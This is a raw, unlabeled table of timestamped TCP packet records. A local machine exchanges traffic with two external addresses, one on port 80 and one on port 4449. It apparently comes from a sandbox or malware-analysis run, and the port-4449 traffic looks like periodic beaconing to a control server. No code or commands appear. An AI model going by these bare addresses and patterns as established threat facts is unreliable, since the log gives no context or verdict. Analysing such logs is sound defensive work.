Jan 2, 2025 19:14:18.915651083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915663004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915671110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915678978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915683985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915693998 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915697098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915702105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915714979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915719032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915723085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915724993 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915731907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915752888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915757895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915760040 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915762901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915767908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915772915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915781975 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915818930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915838957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915844917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915857077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915865898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915873051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915874958 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915894985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915899992 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915900946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915911913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915916920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915923119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915935040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915949106 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915965080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915966034 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915977001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915987968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915992975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915999889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916038036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916038036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916047096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916053057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916059017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916069984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916084051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916124105 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916173935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916179895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916184902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916189909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916196108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916203022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916210890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916217089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916218042 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916229963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916234970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916245937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916251898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916254997 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916256905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916260004 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916268110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916282892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916291952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916300058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916305065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916310072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916315079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916321039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916322947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916326046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916332006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916368008 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916390896 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916477919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916484118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916495085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916500092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916506052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916511059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916517019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916521072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916523933 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916527033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916532993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.916568995 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.916616917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.917140007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917148113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917162895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917176008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917186022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917187929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917188883 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.917192936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917197943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917202950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917226076 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.917226076 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.917270899 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.917789936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917794943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917800903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917807102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.917860031 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:19.054804087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:21.465739965 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:21.470562935 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:21.470685005 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:21.478290081 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:21.483450890 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:22.072860956 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:22.077641964 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:22.082516909 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:22.250833988 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:22.309572935 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:24.029280901 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:24.034060001 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:24.034110069 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:24.038979053 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:25.801701069 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:25.918987036 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:25.924768925 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.122116089 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.213845968 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.214438915 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.218594074 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.218657970 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.218888998 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.219207048 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.219259024 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.223671913 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.224042892 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.818878889 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.819715977 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.824455976 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.932638884 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.932843924 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.937427998 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937655926 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937709093 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.937727928 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937737942 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937747002 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937763929 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937772989 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937782049 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937794924 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.937794924 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.937798977 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937809944 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.937817097 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.937855005 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:26.937871933 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.942615986 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.942625999 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.942641020 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.942650080 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.942713976 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:26.943100929 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.056827068 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.061647892 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.061805964 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.066593885 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.182756901 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.187576056 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.187679052 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.192518950 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.307843924 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.312653065 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.312773943 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.317547083 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.417154074 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.422112942 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.422208071 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.427033901 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.573712111 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.578490019 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.578644991 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.583525896 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.682225943 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.687047005 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.687107086 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:27.691886902 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.762423992 CET	4449	49810	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:27.762490034 CET	49810	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:35.498186111 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:35.503946066 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:35.504015923 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:35.509754896 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:35.908879042 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:35.950320959 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:36.040810108 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:36.042601109 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:36.047440052 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:36.048985958 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:36.054130077 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:46.966417074 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:46.971237898 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:46.971323013 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:46.976145029 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:47.278944016 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:47.325417042 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:47.425308943 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:47.426712990 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:47.431468010 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:47.431531906 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:47.436286926 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:58.435528994 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:58.440337896 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:58.440413952 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:58.445132971 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:58.737663031 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:58.778595924 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:58.863609076 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:58.865300894 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:58.870171070 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:14:58.870223045 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:14:58.874965906 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:09.904367924 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:09.909272909 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:09.909471035 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:09.914290905 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:10.206119061 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:10.247468948 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:10.335688114 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:10.336978912 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:10.341749907 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:10.341820955 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:10.346601963 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:21.372934103 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:21.378268957 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:21.378365993 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:21.383239031 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:21.684673071 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:21.731884003 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:21.816750050 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:21.818162918 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:21.822926044 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:21.822983980 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:21.827754974 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:31.764911890 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:31.770720005 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:31.770786047 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:31.775505066 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.061208963 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.109324932 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.191441059 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.192176104 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.192372084 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.196221113 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.196329117 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.197110891 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.201042891 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.505028009 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.561325073 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.635734081 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.637418032 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.642153978 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:32.642199993 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:32.646919012 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:37.437560081 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:37.442354918 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:37.442404985 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:37.447221994 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:37.738673925 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:37.794517040 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:37.864181995 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:37.871373892 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:37.876190901 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:37.880022049 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:37.884867907 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:46.345427990 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:46.350667000 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:46.353521109 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:46.358341932 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:46.658551931 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:46.700778961 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:46.787833929 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:46.789310932 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:46.794106960 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:46.794151068 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:46.798947096 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:49.172352076 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:49.177145004 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:49.177206993 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:49.182019949 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:49.497459888 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:49.544738054 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:49.637347937 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:49.643604040 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:49.648405075 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:15:49.654629946 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:15:49.659344912 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:00.639208078 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:00.644013882 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:00.644062042 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:00.648838043 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:00.942462921 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:01.026984930 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:01.071903944 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:01.077816010 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:01.082597017 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:01.082649946 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:01.087392092 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:12.107645988 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:12.112489939 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:12.112565041 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:12.117371082 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:12.408597946 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:12.453602076 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:12.544209957 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:12.549592018 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:12.554404020 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:12.554474115 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:12.559221029 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:13.126189947 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:13.131006002 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:13.131057978 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:13.135837078 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:13.434979916 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:13.568006039 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:13.568088055 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:13.569762945 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:13.574542999 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:13.574621916 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:13.579421043 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:18.859370947 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:18.864268064 CET	4449	49776	157.20.182.177	192.168.2.6
Jan 2, 2025 19:16:18.864320993 CET	49776	4449	192.168.2.6	157.20.182.177
Jan 2, 2025 19:16:18.869118929 CET	4449	49776	157.20.182.177	192.168.2.6
